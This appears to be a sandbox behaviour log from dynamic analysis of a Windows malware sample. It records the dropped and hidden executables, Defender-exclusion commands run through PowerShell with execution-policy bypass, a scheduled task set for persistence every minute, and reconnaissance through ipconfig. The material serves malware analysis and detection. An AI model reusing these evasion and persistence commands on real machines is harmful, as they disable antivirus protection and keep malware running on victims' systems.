File created: C:\Users\user\AppData\Roaming\System User.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\System User.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4040:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Mutant created: \Sessions\1\BaseNamedObjects\xAXRhxSiuCvWXlAf
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7800:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4940:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6600:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2888:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6828:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3848:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7296:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7532:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6476
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4536:120:WilError_03

Source: C:\Users\user\Desktop\YgJ5inWPQO.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI4322

Jump to behavior

Source: YgJ5inWPQO.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\msedge.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\YgJ5inWPQO.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: YgJ5inWPQO.exe

ReversingLabs: Detection: 26%

Source: C:\Users\user\Desktop\YgJ5inWPQO.exe

File read: C:\Users\user\Desktop\YgJ5inWPQO.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\YgJ5inWPQO.exe "C:\Users\user\Desktop\YgJ5inWPQO.exe"
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Process created: C:\Users\user\Desktop\YgJ5inWPQO.exe "C:\Users\user\Desktop\YgJ5inWPQO.exe"
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h C:\Users\user\AppData\Local\Temp\msedge.exe"
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h C:\Users\user\AppData\Local\Temp\dddd.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "START C:\Users\user\AppData\Local\Temp\msedge.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "START C:\Users\user\AppData\Local\Temp\dddd.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h C:\Users\user\AppData\Local\Temp\dddd.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\msedge.exe C:\Users\user\AppData\Local\Temp\msedge.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h C:\Users\user\AppData\Local\Temp\msedge.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\dddd.exe C:\Users\user\AppData\Local\Temp\dddd.exe
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c ipconfig /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\msedge.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6476 -s 2224
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\System User.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System User.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System User" /tr "C:\Users\user\AppData\Roaming\System User.exe"
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\System User.exe "C:\Users\user\AppData\Roaming\System User.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\System User.exe "C:\Users\user\AppData\Roaming\System User.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\System User.exe "C:\Users\user\AppData\Roaming\System User.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\System User.exe "C:\Users\user\AppData\Roaming\System User.exe"
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Process created: C:\Users\user\Desktop\YgJ5inWPQO.exe "C:\Users\user\Desktop\YgJ5inWPQO.exe"	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h C:\Users\user\AppData\Local\Temp\msedge.exe"	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h C:\Users\user\AppData\Local\Temp\dddd.exe"	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "START C:\Users\user\AppData\Local\Temp\msedge.exe"	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "START C:\Users\user\AppData\Local\Temp\dddd.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h C:\Users\user\AppData\Local\Temp\msedge.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h C:\Users\user\AppData\Local\Temp\dddd.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\msedge.exe C:\Users\user\AppData\Local\Temp\msedge.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\dddd.exe C:\Users\user\AppData\Local\Temp\dddd.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\msedge.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\System User.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System User.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System User" /tr "C:\Users\user\AppData\Roaming\System User.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c ipconfig /all	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all	Jump to behavior

Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Section loaded: python3.dll	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
